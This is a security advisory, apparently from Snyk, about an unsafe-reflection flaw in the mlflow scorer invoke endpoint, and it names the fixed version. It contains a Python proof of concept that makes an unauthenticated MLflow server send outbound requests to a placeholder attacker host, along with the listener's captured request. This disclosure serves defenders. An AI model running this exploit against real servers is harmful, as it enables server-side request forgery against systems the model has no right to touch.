Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') Affecting mlflow package, versions [3.12.0rc0,3.17.0)


Severity

Recommended
0.0
medium
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.32% (26th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-PYTHON-MLFLOW-21691239
  • published24 Oct 2026
  • disclosed23 Oct 2026
  • creditAdam Jordan

Introduced: 23 Oct 2026

NewCVE-2026-115886  (opens in a new tab)
CWE-470  (opens in a new tab)

How to fix?

Upgrade mlflow to version 3.17.0 or higher.

Overview

mlflow is a platform to streamline machine learning development, including tracking experiments, packaging code into reproducible runs, and sharing and deploying models.

Affected versions of this package are vulnerable to Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') via the third_party_scorer_data kwargs field in the scorer invocation endpoint (/ajax-api/3.0/mlflow/scorer/invoke). An unauthenticated attacker can supply a serialized scorer payload containing kwargs such as api_base and api_key that steer the server's outbound LLM client requests to an attacker-controlled host. The server deserializes and executes the scorer without validating these egress-steering kwargs, causing the MLflow server to issue outbound HTTP requests to an arbitrary URL with attacker-chosen headers.

PoC

import time
import mlflow
from mlflow import MlflowClient
import requests

TARGET = "http://TARGET:5000"           # MLflow tracking server, no auth configured
ATTACKER = "http://ATTACKER/collect"    # host the attacker controls and monitors

client = MlflowClient(tracking_uri=TARGET)

# 1. Anonymous setup: create an experiment and log a trace to obtain a trace_id.
exp_id = client.create_experiment("poc")
mlflow.set_tracking_uri(TARGET)
mlflow.set_experiment(experiment_id=exp_id)
with mlflow.start_span(name="poc-span") as span:
    span.set_inputs({"q": "hi"})
    span.set_outputs({"a": "hi"})
trace_id = span.request_id

# 2. Attack: invoke a reflected trulens scorer whose kwargs point the
#    outbound LLM client at the attacker host with an attacker-chosen
#    Authorization value (their own canary, not a server secret).
serialized_scorer = {
    "name": "poc",
    "third_party_scorer_data": {
        "module": "mlflow.genai.scorers.trulens",
        "class": "Coherence",
        "metric_name": "Coherence",
        "model": "openai:/gpt-4o",          # routes to the litellm fallback
        "kwargs": {
            "api_base": ATTACKER,
            "api_key": "ATTACKER-CANARY",   # attacker's own value, not a server secret
        },
    },
}
resp = requests.post(
    f"{TARGET}/ajax-api/3.0/mlflow/scorer/invoke",
    json={
        "experiment_id": exp_id,
        "serialized_scorer": __import__("json").dumps(serialized_scorer),
        "trace_ids": [trace_id],
    },
)
print(resp.status_code, resp.text)
time.sleep(5)  # scorer job runs asynchronously
# Attacker-controlled listener at ATTACKER receives, moments later:
POST /collect/chat/completions HTTP/1.1
Authorization: Bearer ATTACKER-CANARY
Content-Type: application/json
...

The POST .../chat/completions request landing on ATTACKER, carrying the attacker's own Authorization header, is the server-originated outbound request — no request was ever sent by the client to that host directly.

Note: The PoC targets an MLflow tracking server with no authentication configured, using a trulens scorer with litellm kwargs to redirect outbound LLM client requests.

CVSS Base Scores

version 4.0
version 3.1